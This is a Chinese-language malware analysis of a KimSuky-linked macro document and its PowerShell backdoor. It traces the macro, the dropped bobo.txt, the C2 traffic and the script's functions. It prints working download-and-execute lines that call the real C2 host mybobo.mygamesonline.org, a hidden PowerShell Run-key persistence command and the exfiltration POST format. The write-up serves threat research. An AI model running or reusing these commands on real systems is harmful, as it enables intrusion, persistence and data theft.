0x00 前言
最近都在提规则,好久没分析样本了,刚刚在Twitter上看到一例KimSuky的,就分析看看。
0x01 样本背景
样本来源于Twitter用户Timele9527
文件hash:07D0BE79BE38ECB8C7B1C80AB0BD8344
样本类型doc
通过VT可以得知,样本原始名称:
- 붙임. 전문가 칼럼 원고 작성 양식.doc
样本名称翻译之后大概如下:
- 粘贴专家专栏撰稿格式.doc
创建时间和上传VT时间如下:
同样的,根据这个创建时间和上传时间的间隔,应该是跟之前的攻击事件有关。
由于被爆是KimSuky的攻击,我们可以看看ests是否发布了先关的资讯
遗憾的是并没有与该样本相关的资料,反而看到新发布的两个其他样本,等会可以一起看看
0x02 样本分析
基本信息
从Twitter中放了样本在app.any.run的沙箱报告, 可以顺便看一看
从沙箱报告可以看得出来应该是vba解密执行powershell代码然后执行
执行的powershell代码如下:
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -noLogo $s=[System.IO.File]::ReadAllText('c:\windows\temp\bobo.txt');iex $s
行为检测
打开样本,样本伪装为微软官方,提示用户启用宏以查看内容
由于已经知道样本会执行powershell命令,我们可以直接通过Procmon或者火绒剑监控powershell.exe再启用宏
启用宏之后,文档内容更改为如下所示:
翻译之后如下:
《专家评论》稿件制作样式
▶人文名调11pt,行距160%,2张以内分量
开城工业园区专家评论..。
与样本的文件名呼应
准备调一下宏代码,但是发现加密了
破解之后看到宏代码如下,主要功能就是在c:\windows\temp\路径下释放一个bobo.txt文件,然后将一行powershell命令写入到该文件中,再调用执行。
然后看下火绒剑,也顺利捕获到powershell行为:
这里可以看到,是读取’c:\windows\temp\bobo.txt’的内容然后通过iex执行
bobo.txt内容如下
IEX (New-Object System.Net.WebClient).DownloadString('http://mybobo.mygamesonline.org/flower01/flower01.ps1')
该段代码的主要功能是从http[:]//mybobo.mygamesonline.org/flower01/flower01.ps1下载一个新的powershell脚本。
该域名已经被打上了KimSuky的标签
但是网页目前好像不返回数据了
思路1 通过vt查找
这个时候我们接着回到VT,可以看到如下的内容:
跟过来之后发现有成功请求之后保留的文件
顺着这个文件hash,就可以找到目标ps脚本了
然后就可以通过hash将该文件下载回来了
但是考虑到个人账户没有VT接口下载样本的情况,可以考虑利用app.any.run的流量包来提取该脚本
思路2 通过app.any.run的流量包
我们回到app.any.run的页面,可以发现在沙箱中,样本是正常与服务器通信,并且保留了流量的,我们直接把数据包下载到本地进行分析和提取。
可以看到,样本首先是通过三次握手与服务器建立了建立,紧接着就通过get请求的方式访问了下载页面
而后面服务器返回的数据,应该就是flower01.ps的内容了
根据数据包大小可以得知,返回的内容从第二个数据包开始:
由于是明文传输,直接复制为纯文本就可以
将几个数据包的内容复制到编辑器中,脚本就从流量中提出来了:
流量分析
既然已经打开了流量包,就多分析一点
接着往后看,可以看到本地主机还对C2发送了POS数据包,且看后面包的大小,基本可以判定是在窃密了。
而这一段流量应该是刚才下载回来的ps脚本发起的,所以不出意外的话,本次攻击的最终载荷就是这个ps脚本了。(毕竟也够长)
这里post请求的内容是:
POST /flower01/post.php HTTP/1.1..
Content-Type: multipart/form-data;
boundary=----WebKitFormBoundarywhpFxMBe19cSjFnG..
Host: mybobo.mygamesonline.org..
Content-Length: 10694..
Expect: 100-continue....
其中有几个关键信息
- boundary=——WebKitFormBoundarywhpFxMBe19cSjFnG..
我们可以通过搜索引擎检索WebKitFormBoundarywhpFxMBe19cSjFnG,会得到如下的结果
通过搜索引擎反馈的结果我们可以知道,该串字符不是首次出现,早在18年,在针对韩国冬奥会的攻击中就已经出现过。而且也被爆与KimSuky有关联。
post请求成功之后,服务器会返回Continue
接着客户端会尝试以1260字节大小为数据包,向服务器发送加密数据。
之后再次请求
RT6>RTJE^@dR+RUP_?"P------WebKitFormBoundarywhpFxMBe19cSjFnG
Content-Disposition: form-data; name="MAX_FILE_SIZE"
10000000
------WebKitFormBoundarywhpFxMBe19cSjFnG
Content-Disposition: form-data; name="userfile"; filename="flower01"
Content-Type: application/octet-stream
ending
------WebKitFormBoundarywhpFxMBe19cSjFnG
flower01.ps1分析
虽然从搜索引擎来看,基本可以确定本次所使用的powershell应该是PowerShell Empire框架生成的远控,但并不复杂,也可以详细分析一下。
脚本首先定义了一些全局变量
根据定义的这些全局变量可以看出来
后续的通信地址应该是:”http://mybobo.mygamesonline.org/flower01/“
用于接收上传信息的文件: “post.php”
上传的用户名: “flower01”
上传的ID:”flower01”
保存的log文件名:$LOG_FILENAME = “flower01.hwp”
保存的log文件路径:$LOG_FILEPATH = “\flower01\”
休眠时间:$TIME_VALUE = 10006060
应该是调用执行脚本:$EXE = “rundll32.exe”
调用func:$MyfuncName = “Run”
写入的注册表键值:$RegValueName = “Alzipupdate”
写入的是开机自启动的键:$RegKey = “HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run”
最后这个应该是计划任务:$regValue = “cmd.exe /c powershell.exe -windowstyle hidden IEX (New-Object System.Net.WebClient).DownloadString(‘http://mybobo.mygamesonline.org/flower01/flower01.ps1‘)”
接着,脚本定义了一些方法,分别是:
function decode($encstr)
function UpLoadFunc($logpath)
function FileUploading($upPathName)
function Download
function Get_info($logpath)
function main
从方法名,基本可以确定这是一个powershell远控,可以收集信息、文件上传、文件下载、样本持久化等功能。
在main函数下断点,可以看到样本首先定义后后面log文件的路径,然后会判断是否有对应的注册表键值,即判定是否已经设置为开机自启动了。
如果返回False,则会通过修改HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run的方式将自己加入到开机自启动。
并且调用Get_info函数,参数是szLogPath,也就是C:\Users\Shyt\AppData\Roaming\flower01\flower01.hwp
所以这里的flower01.hwp是用于保存Get_info函数收集到的信息
在Get_info中,会写入几个目录信息然后将systeminfo以及当前的进程全部写入到flower01.hwp
如果返回True,则会进入一个永真循环,循环调用FileUploading和Download函数,并在调用完成之后进行一段时间的休眠。
第一次调用FileUploading的时候会判断是否存在路径FileUploading,也就是C:\Users\xxx\AppData\Roaming\flower01\flower01.hwp
如果存在则调用后面的UploadFunc,如果不存在则直接返回
如果存在flower01.hwp则说明信息采集成功,则调用UploadFunc准备上传
在UploadFunc方法中,会读取flower01.hwp的hex数据,然后通过decode进行加密再上传到服务器。
加密算法是自定义的变异凯撒加密,即ascii替换的方式
调用完成之后会调用Download函数:
函数会尝试从http://mybobo.mygamesonline.org/flower01/flower01.down获取数据并传入到decode函数进行解码
如果下载失败,则会尝试访问http://mybobo.mygamesonline.org/flower01/del.php?filename=flower01获取返回值
因为不想用干净的网络访问C2,所以我还是尝试通过app.any.run的在线沙箱跑一下这个powershell样本。
虽然成功跑起来了,但是看到了一些报错信息:
于是把对应的报错信息、slepp都删除了,重新上传。
发现服务器mybobo.mygamesonline.org已经挂了,没有后续的数据了。